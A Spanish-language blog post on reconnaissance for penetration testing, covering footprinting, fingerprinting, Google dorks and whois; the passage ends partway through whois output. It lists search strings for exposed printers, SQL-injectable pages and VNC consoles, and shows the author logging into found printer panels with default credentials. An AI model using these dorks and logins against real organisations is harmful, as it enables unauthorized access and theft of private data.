hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="figerprinting"/><category scheme="http://www.blogger.com/atom/ns#" term="footprinting"/><category scheme="http://www.blogger.com/atom/ns#" term="pentesting"/><title type='text'>Técnicas de recolección de información </title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmgYrwydtWY0rLEugDeIBfR3W8GRmm_pgDIFaxhEZeQkM48NFFuYbFtEsgyP9v5RlBlXXrYwaZ5cK3ZqGJbIOO26tscY5EBWW7blobtAz86vOuI6gtyuR0WepMVLdIBkmONHA_hZdnAwU/s1600/gathering.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmgYrwydtWY0rLEugDeIBfR3W8GRmm_pgDIFaxhEZeQkM48NFFuYbFtEsgyP9v5RlBlXXrYwaZ5cK3ZqGJbIOO26tscY5EBWW7blobtAz86vOuI6gtyuR0WepMVLdIBkmONHA_hZdnAwU/s1600/gathering.jpg&quot; height=&quot;320&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;Information Gathering&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
En el día de hoy hablaremos de las técnicas mas usadas para la recolección de información a nivel general, esta es la primera y una de las fases de pre-pentestin ó pre-ataque con mas importancia en la auditoria de seguridad ya que a través de esta recopilación de información podemos conocer un poco mas sobre el objetivo.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Normalmente en esta fase debemos obtener toda la información posible para diseñarnos o imaginarnos como esta distribuida la red a penetrar.&lt;br /&gt;
&lt;br /&gt;
Las guías de&amp;nbsp;&lt;b&gt;CEH&lt;/b&gt;&amp;nbsp;nos enumeran siete&amp;nbsp;&lt;b&gt;Etapas de Information Gathering - Footprinting&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;01 -&amp;nbsp;Gathering information&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;02 - Locating the network range&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;03 - Identifying active machines&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;04 - Finding open ports and applications&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;05 - Detecting operating systems&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;06 - Fingerprinting services&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;07 - Mapping the network&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Footprinting&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Es definido como el proceso de crear un modelo o mapa de una organización de redes y sistemas. Consiste en la búsqueda de toda la información pública, bien porque haya sido publicada a propósito o bien porque haya sido publicada por desconocimiento. en este proceso buscaremos todas las huellas posibles, como direcciones IP, servidores internos, cuentas de correo de los usuarios, nombres de máquinas, información del registrador del dominio, tipos de servidores, ficheros con cuentas y/o credenciales de usuarios, impresoras, cámaras IP, metadatos, etc.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Fingerprinting&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Es un proceso o técnica que consiste en analizar y determinar las huellas que deja un S.O en sus conexiones de red.&lt;br /&gt;
&lt;br /&gt;
Los programas que se utilizan para realizar Fingerprinting se basan en dos filosofías, escáner pasivo o activo:&lt;br /&gt;
&lt;b&gt;Activo: &lt;/b&gt;Cuando se envia paquetes esperando respuesta del objetivo y es comparada con su base de datos, las tecnicas que suelen ser usadas son: inundacion de paquetes SYN, envio flags TCP incorrectos, envio de paquetes FIN... los cuales permiten ser detectados facilmente.&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Pasivo: &lt;/b&gt;Cuando se esnifea trafico para identificar las maquinas que &amp;nbsp;se intercomunican en la red, comparando sus tiempos de respuesta sin actuar en la red. La deteccion de esta tecnica se torna dificil, pero tiene sus incovenientes: hay que esperar un gran lapso de tiempo para la captura de paquetes.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img alt=&quot;network schema&quot; src=&quot;http://www.securityfocus.com/images/infocus/passive_network_1.gif&quot; /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Gathering information&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
Son muchas las herramientas, técnicas y recursos disponibles que cumplen con este propósito.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Estas son algunas de ellas:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Google Hacking&amp;nbsp;&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Whois, Nslookup&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Metadatos&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Ingeniería Social&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Igualmente existen herramientas automatizadas para recolectar todo tipo de información.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
La idea de toda la fase es construir un perfil del objetivo siguiendo las etapas mencionadas anteriormente..&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Google Hacking:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Google siempre ha sido uno de los recursos mas utilizado para la busqueda de informacion. Con la ayuda de los operadores de búsqueda de Google los cuales son términos de consulta o símbolos que realizan acciones especiales. Estos operadores nos permiten encontrar informacion concreta en forma rápida y precisa.&lt;br /&gt;
&lt;br /&gt;
El nombre a la tecnica a mi parecer suena mas de lo que verdad es.. realmente no se hacking con google simplemente es un gran aliado en la recopilacion de informacion. el nombre va mas por lo que podemos encontrar con el por ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Dispositivos de red (Impresoras, Camaras IP, Router&#39;s, Switches, Telefonos IP, PBX)&lt;/li&gt;
&lt;li&gt;Sitios Vulnerables (Errores )&lt;/li&gt;
&lt;li&gt;Informacion Personal (Tel, Nombres, Correos, Etc..)&lt;/li&gt;
&lt;li&gt;VNC Server&lt;/li&gt;
&lt;li&gt;Consolas Web de Antivirus&lt;/li&gt;
&lt;li&gt;UPS Monitor&lt;/li&gt;
&lt;li&gt;Base de datos de correo, usuarios, contraseñas&lt;/li&gt;
&lt;li&gt;FTP Servers&lt;/li&gt;
&lt;li&gt;Logs.&lt;/li&gt;
&lt;li&gt;Documentos&lt;/li&gt;
&lt;li&gt;Etc..&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Por todo esto hace parte de las mejores herramientas de búsqueda de información. Claro esta que esto no dejaria de ser asi si los admin hicieran bien su tarea y no permitiera la falta de protecion o seguridad de dispositivos y sitios web los cuales permiten que el robot de google los indexe.&amp;nbsp;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Ejemplos usando&amp;nbsp;&lt;b&gt;Google Hacking:&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Buscando&amp;nbsp;Dispositivos de red (Impresora):&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Que interesa obtener el acceso al portal de un&amp;nbsp;&lt;b&gt;Print Server.&lt;/b&gt;&amp;nbsp;En conversaciones he escuchado este tipo de pregunta, y la respuesta es simple si vos sos una empresa rival o cualquier otro ente o persona que requiera informacion de dicha empresa que mejor que ver los documentos que se imprimen a diario en esas impresoras? ahora torna importante cierto? esto ahorra hacer&amp;nbsp;&lt;b&gt;Garbage.&lt;/b&gt;&amp;nbsp;y el auditor o atacante pude obtener ademas de esta informacion las IP de subredes internas, ademas de estar ya dentro de dicha red.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Ejemplos:&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;inurl:&quot;main/main.html&quot; intitle:&quot;Brother&quot;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2jfROuxaPcJJqVsWHgDQsddckLswd4uF4dzpxCE7_TtdpVWQdOoDB6dtIJnrxFrsKeSLBLY31KjCz4Jq4JXzkJzGdoFSjU-GAIlOeg_ZFlAUSk7zIprKLggdLWqoaZ8yKmxglj9lMYng/s1600/bro_2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2jfROuxaPcJJqVsWHgDQsddckLswd4uF4dzpxCE7_TtdpVWQdOoDB6dtIJnrxFrsKeSLBLY31KjCz4Jq4JXzkJzGdoFSjU-GAIlOeg_ZFlAUSk7zIprKLggdLWqoaZ8yKmxglj9lMYng/s1600/bro_2.jpg&quot; height=&quot;204&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Una vez en el panel de administración, se accede a la lista de impresoras que se encuentran en la misma organización con la opción de Buscar &amp;nbsp;y que se hayan dado de alta, ya sean de la marca Brother o de cualquier otro fabricante.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhso2lDow8IXaC-ugjTDEMmgpdSdGhKxjVVp8dSYtq5AP35Q0VHTCub6uKHCUd0rc093zLUSiYFWtQRQqIRaRc01EsXLAjBhCpjy_Trt_yZcpM8iz1rvdUeGL4A4f1F2JnbLGMPkXZwhjI/s1600/web-printer.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhso2lDow8IXaC-ugjTDEMmgpdSdGhKxjVVp8dSYtq5AP35Q0VHTCub6uKHCUd0rc093zLUSiYFWtQRQqIRaRc01EsXLAjBhCpjy_Trt_yZcpM8iz1rvdUeGL4A4f1F2JnbLGMPkXZwhjI/s1600/web-printer.png&quot; height=&quot;112&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuUpMaDCuWxdCsK8af6V6oattZDWkAE4DAELyKe-IaRCIjNsXwa6LLcP5FszBZZqyV4xWk10REcmlStJ2_xdUmesGmGz7mi2CopxvlgydamgV3tY8fztqF8AJd5G-n-g4vRWxdYz60LR4/s1600/list.printer.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuUpMaDCuWxdCsK8af6V6oattZDWkAE4DAELyKe-IaRCIjNsXwa6LLcP5FszBZZqyV4xWk10REcmlStJ2_xdUmesGmGz7mi2CopxvlgydamgV3tY8fztqF8AJd5G-n-g4vRWxdYz60LR4/s1600/list.printer.png&quot; height=&quot;425&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Si intentamos ingresar a los&amp;nbsp;&lt;b&gt;ajustes de administrador&amp;nbsp;&lt;/b&gt;o&amp;nbsp;&lt;b&gt;configuracion general&lt;/b&gt;&amp;nbsp;nos solicitara credenciales de acceso, bien estas no las conocemos pero algo curioso ocurre cuando cancelamos el login. la web nos informa sobre las credenciales default de acceso. probemos.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhktsPh2DdFxzewAB692eOsKozzGmnGtLI35Bqd_i9Ifi2vOpnXdAZFumMoTIozzU1rPhk6mI4HaL9qkAgRjdfzvr_PTDjfIiWUZNwBV1xzTInT7RlV3Syepkjc2IcZnAx9kmvITJL72M0/s1600/user-pass.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhktsPh2DdFxzewAB692eOsKozzGmnGtLI35Bqd_i9Ifi2vOpnXdAZFumMoTIozzU1rPhk6mI4HaL9qkAgRjdfzvr_PTDjfIiWUZNwBV1xzTInT7RlV3Syepkjc2IcZnAx9kmvITJL72M0/s1600/user-pass.png&quot; height=&quot;498&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Intentemos ingresarlas y a ver que pasa:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9OYp76A4DbxgMYR7IeXjGOrGq-R7wJei5zqZJOxPjmzWL4A-MNqE_4_5ZITFVSJXpG1z8cnuVjORpN-QjdJfjnGIKRBmaI2tghgvDgj3UWvB2WJHefwob7LLuQQjlFL1xEoPsoO7NwWw/s1600/aj.admin.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9OYp76A4DbxgMYR7IeXjGOrGq-R7wJei5zqZJOxPjmzWL4A-MNqE_4_5ZITFVSJXpG1z8cnuVjORpN-QjdJfjnGIKRBmaI2tghgvDgj3UWvB2WJHefwob7LLuQQjlFL1xEoPsoO7NwWw/s1600/aj.admin.png&quot; height=&quot;314&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivZW5EZpvx0TFM2DzXyxLl5FIb2kCT8qTLDjXvwVBSIkt5fBZjpGS7YZq2rBsmDNTprKHAAePNhaUsfTvemuksN2mqdlFUjX9ID00lFJguxBNhQ9ROZ2QYPEwhhBEAhIuKk0VVDHFpAqY/s1600/Conf.Gen.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivZW5EZpvx0TFM2DzXyxLl5FIb2kCT8qTLDjXvwVBSIkt5fBZjpGS7YZq2rBsmDNTprKHAAePNhaUsfTvemuksN2mqdlFUjX9ID00lFJguxBNhQ9ROZ2QYPEwhhBEAhIuKk0VVDHFpAqY/s1600/Conf.Gen.png&quot; height=&quot;373&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
y como era de esperarse algunas web de listado arrojado aun permanecen con los credenciales por defecto.&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Buscando&amp;nbsp;Sitios web vulnerables (SQL Injection):&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
La mayoria de los sitios web no pasan por analisis de vulnerabilidades los cuales hacen que el administrador de dicho sitio pase desapercibido de estas.&lt;/div&gt;
&lt;div&gt;
Uno de los parametros de busqueda para encontrar web vulnerables a&amp;nbsp;&lt;b&gt;SQL Injection&lt;/b&gt;&amp;nbsp;son aquellos que basan en contenido de noticias. o CMS&lt;/div&gt;
&lt;div&gt;
un ejemplo de parametro de busqueda seria el siguiente:&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;inurl:noticias.php?id=1&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxbUvSNJsJjBVW2xrF_80OvZAo7b5TTNrG4P0QwAIwcrDxC7JMpzdttWmnXjICIh45dmQsPl5C8bIhPDsZ0mHUDZ6Yo9jwwqw5QP8aVIt2ylY7-Ca1brgd8G5NGsa_WjMr54O3tXTnDvQ/s1600/para.sql.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxbUvSNJsJjBVW2xrF_80OvZAo7b5TTNrG4P0QwAIwcrDxC7JMpzdttWmnXjICIh45dmQsPl5C8bIhPDsZ0mHUDZ6Yo9jwwqw5QP8aVIt2ylY7-Ca1brgd8G5NGsa_WjMr54O3tXTnDvQ/s1600/para.sql.png&quot; height=&quot;364&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Entrando a la primera web que me arroja google inmediatamente puedo comprobar que es vulnerable a SQL Injection simplemente dejando nulo el parametro&amp;nbsp;&lt;b&gt;ID&amp;nbsp;&lt;/b&gt;&amp;nbsp;en la&amp;nbsp;&lt;b&gt;URL&amp;nbsp;&lt;/b&gt;de la web.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-4vlOo7QcVkj1fimOj63LZvtpX4TSqcLJBy9e0qtcbfKSLjQxGWtsRsDewTKhGlxSYGPA8XOXFOq4b3ABTylPlPpD7Wwgfz7bbh9cOmIW9hAastpdle74kQ9R8h5OdwVFZGhyG-JeXR4/s1600/Sin+t%C3%ADtulo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-4vlOo7QcVkj1fimOj63LZvtpX4TSqcLJBy9e0qtcbfKSLjQxGWtsRsDewTKhGlxSYGPA8XOXFOq4b3ABTylPlPpD7Wwgfz7bbh9cOmIW9hAastpdle74kQ9R8h5OdwVFZGhyG-JeXR4/s1600/Sin+t%C3%ADtulo.png&quot; height=&quot;112&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
solo quedaría explotar esta vulnerabilidad entrar a la&amp;nbsp;&lt;b&gt;BD&amp;nbsp;&lt;/b&gt;y se podrá obtener toda información privada.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
De esta misma forma podemos buscar errores específicos en los sitios para explotar.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Buscando listado de recursos&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
se puede usar el siguiente termino de busqueda:&amp;nbsp;&lt;b&gt;intitle:&quot;index of&quot; pentesting&amp;nbsp;&lt;/b&gt;&amp;nbsp;con esto buscare listado de recursos que tengan que ver con&amp;nbsp;&lt;b&gt;pentesting.&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfX_BXCQykYF1c15lGFQ4j9aozLvucKZHQSZfNUR4FmQYok9X4GVS6MCmyp__5-fjVeVVEug9Bwcu2-lo-4312gNtHVVXYu_G4ih7SaYvzZ2tnYdFrILc7JibHTWsmqk3u68NCAjpt3wo/s1600/index-of.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfX_BXCQykYF1c15lGFQ4j9aozLvucKZHQSZfNUR4FmQYok9X4GVS6MCmyp__5-fjVeVVEug9Bwcu2-lo-4312gNtHVVXYu_G4ih7SaYvzZ2tnYdFrILc7JibHTWsmqk3u68NCAjpt3wo/s1600/index-of.png&quot; height=&quot;316&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhENoeij1ahwFrZM9wnUKutvPR3z1Owy3LQRQ4EqQjpakvlupMJCYp5PNAbP08P3QDQUZHDdpfOirBYs2JXzJEe97sRC1UZr8YWN7T-BOnpN58iD2M7NNJUYJudBSabgu1gQpn0kDrQssA/s1600/index-of2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhENoeij1ahwFrZM9wnUKutvPR3z1Owy3LQRQ4EqQjpakvlupMJCYp5PNAbP08P3QDQUZHDdpfOirBYs2JXzJEe97sRC1UZr8YWN7T-BOnpN58iD2M7NNJUYJudBSabgu1gQpn0kDrQssA/s1600/index-of2.png&quot; height=&quot;400&quot; width=&quot;371&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Un ejemplo mas seria buscar consolas web de VNC Server:&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;intitle:&quot;VNC viewer for Java&quot;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Para no alargar mas el articulo pueden encontrar mayor información de google hacking en el Ebook&amp;nbsp;&lt;b&gt;&lt;a href=&quot;https://books.google.com.co/books?id=bvB1-MmhEjQC&amp;amp;pg=PA334&amp;amp;lpg=PA334&amp;amp;dq=google+hacking+printer&amp;amp;source=bl&amp;amp;ots=elqw_sYhy6&amp;amp;sig=xmX5sSk_MF8SJK4L-fPSUHheO9M&amp;amp;hl=es-419&amp;amp;sa=X&amp;amp;ei=2EItVZ7GCISrgwTflYGIBA&amp;amp;ved=0CEAQ6AEwBA#v=onepage&amp;amp;q&amp;amp;f=false&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Google Hacking for Penetration Testers, Volume 2&lt;/a&gt;&lt;/b&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Igualmente hoy en dia existen diversas herramientas para automatizar este tipo de búsquedas como son:&amp;nbsp;&lt;b&gt;GooScan, SiteDigger,&amp;nbsp;ProminentDork, etc...&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;-webkit-text-stroke-width: 0px; color: black; font-family: &#39;Times New Roman&#39;; font-size: medium; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: auto; text-align: justify; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px;&quot;&gt;
&lt;div style=&quot;margin: 0px;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Whois&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
es un protocolo &lt;b&gt;TCP&lt;/b&gt;&amp;nbsp;el cual suministra información publica que permite determinar el propietario de un nombre de dominio o de una IP, esta información involucra&amp;nbsp;clientes y empresa proveedora. esta herramienta puede ser usada a traves de la consola o bien de diversas paginas web que ofrecen la herramienta en modo online.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
En modo consola podemos usarla simplemente con el comando &lt;b&gt;Whois &lt;/b&gt;:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #c65d09; font-weight: bold;&quot;&gt;[Antony@Server ~]$&lt;/span&gt; whois 173.194.112.80
&lt;span style=&quot;color: #888888;&quot;&gt;[Querying whois.arin.net]&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;[whois.arin.net]&lt;/span&gt;

&lt;span style=&quot;color: #888888;&quot;&gt;#&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;# ARIN WHOIS data and services are subject to the Terms of Use&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;# available at: https://www.arin.net/whois_tou.html&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;#&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;# If you see inaccuracies in the results, please report at&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;# http://www.arin.net/public/whoisinaccuracy/index.xhtml&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;#&lt;/span&gt;


&lt;span style=&quot;color: #888888;&quot;&gt;#&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;# Query terms are ambiguous.  The query is assumed to be:&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;#     &quot;n 173.194.112.80&quot;&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;#&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;# Use &quot;?&quot; to get help.&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;#&lt;/span&gt;

&lt;span style=&quot;color: #888888;&quot;&gt;#&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;# The following results may also be obtained via:&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;# http://whois.arin.net/rest/nets;q=173.194.112.80?showDetails=true&amp;amp;showARIN=false&amp;amp;ext=netref2&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;#&lt;/span&gt;

&lt;span style=&quot;color: #888888;&quot;&gt;NetRange:       173.194.0.0 - 173.194.255.255&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;CIDR:           173.194.0.0/16&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;NetName:        GOOGLE&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;NetHandle:      NET-173-194-0-0-1&lt;/span&gt;
